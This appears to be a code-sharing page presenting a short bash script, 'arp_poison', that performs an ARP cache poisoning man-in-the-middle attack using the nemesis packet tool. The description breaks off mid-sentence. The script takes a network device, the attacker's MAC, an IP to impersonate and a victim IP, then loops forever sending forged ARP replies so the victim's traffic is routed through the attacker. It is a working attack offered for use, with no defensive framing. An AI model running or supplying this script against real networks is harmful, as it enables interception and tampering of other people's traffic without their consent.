A quick and dirty bash script used to perform the infamous man-in-the-middle attack know as ARP cache poisoning. This attack works by telling a victim on the network that your mac address is the mac address of the ip_to_masquerade_as, meaning all data destined for the ip_to_masquerade_as from the victim will now be sent to you before being forwa…

arp_poison

#!/bin/bash

# perform an arp cache poisoning attack with nemesis
# http://nemesis.sourceforge.net/

[[ $1 = "-h" ]] && echo "usage: $0 <network_device> <attackers_mac> <ip_to_masquerade_as> <victim_ip>" && exit 0

while true
  do
	nemesis arp -d $1 -H $2 -M ff:ff:ff:ff:ff:ff -h $2 -m ff:ff:ff:ff:ff:ff -S $3 -D $4
	sleep 1s
done